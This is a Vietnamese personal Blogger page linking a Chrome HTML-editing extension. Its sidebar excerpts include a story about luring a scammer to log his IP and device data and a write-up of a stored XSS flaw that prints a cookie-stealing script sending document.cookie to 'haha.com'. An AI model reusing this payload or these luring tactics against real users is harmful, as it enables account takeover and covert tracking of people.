Chuyển đến nội dung chính

Vũ Hoàng Anh

Tìm kiếm Blog này

Tiện ích chỉnh sửa html

vào tháng 11 22, 2018

Nhận đường liên kết
Facebook
Twitter
Pinterest
Email
Ứng dụng khác

link : https://chrome.google.com/webstore/detail/visbug/cdockenadnadldjbbgcallicgledbeoc/relatedv

Nhận đường liên kết
Facebook
Twitter
Pinterest
Email
Ứng dụng khác

Nhận xét

Đăng nhận xét

Bài đăng phổ biến

Tôi đã khiến người lừa đảo bạn tôi khóc thét.

Mở bài : Loanh quanh hồi c3 tôi có một người bạn bị lừa đảo bằng cách mua acc game reg sms gì đấy nhưng quan trọng bạn tôi đã chuyển cho kẻ xấu tiền trước và bị scam. Và có nhờ t giúp ;(. Thân bài : Với một chút kiến thức về Social engineering và code ghẻ tôi đã đưa ra một vài phương hướng tấn công nhắm lấy thông tin của kẻ xấu. - Thăm dò Với vài lời cơ bản tôi biết bạn ấy có sửa dụng một web để nhận code sms để reg các tài khoản ảo từ đó tôi dẫn dụ đến web của tôi ;D - Tiến hành phân tích và đưa ra các phương thức tấn công + một vòng ngó qua thì tôi thấy có các trang như IP Logger .. có thể lấy vài thông tin như trình duyệt thiết bị user-agent và ip của người dùng [REMOTE_ADDR] chỉ qua việc click vào web site để log lại [nhưng tôi muốn nhiều hơn thế] [JAVASCRIPT] - Nếu bạn đã học qua js bạn sẽ biết google map và các web check webcam hoặc chụp ảnh scan qr đúng không. Ta có thể truy suất camera nếu thiết bị có hỗ trợ thông qua tìm api camera qua navi

Chiếm quyền tài khoản chỉ qua một cuộc điện thoại

Sơ lược web X là một trang web cung cấp các ứng dụng gọi điện thoại trong đó trang đã bị dính xss qua tên người dùng và điều đặc biệt tên người dùng này sẽ được tuỳ tỉnh thông qua hàm get từ url https://xxx/button-call/lastest/videocall/popup_voicecall.html?from_number=đân chơi nửa mùa Ngoài inject ký tự ta có thể tiêm một mã độc bằng js vào vì máy chủ không lọc đầu vào. Ngoài ra web còn cho phép hiện tên khi gọi cho người khác từ đó người khi người nhận cuộc điện thoại cũng sẽ hiện tên số điện thoại người gọi đến ở đây là kẻ tấn công từ đó họ có thể kích hoạt xss khi gọi đến số nạn nhân vì ngay khi người nhận số điện thoại gọi đến cùng load tên người dùng và cũng kích hoạt mã độc js của tôi <script>alert(1);var i=new Image;i.src="http://haha.com/?"+document.cookie;</script> Với một đoạn mã cơ bản tôi có thể đánh cắp cookie của nạn nhân và truy cập trái phép vào tài khoản họ. Như vậy chỉ cần gọi đến 1 số tài khoản tồn tại người dùng không cần kích hoạt cookie

TẠO WEB CÁ NHÂN (BLOG)

LINK BLOG : https://www.blogger.com LINK lấy tên miền : http://www.freenom.com/en/index.html?lang=en các ip tên A : 216.239.32.21 216.239.34.21 216.239.36.21 216.239.38.21 còn CNAME thì tìm trên web blog ví dụ Web demo : http://www.vuhoanganh.ga/ http://www.tienhuan.cf/ Video demo : https://www.youtube.com/watch?v=pw8aEpu-h-c&feature=youtu.be

Được tạo bởi Blogger

Loading...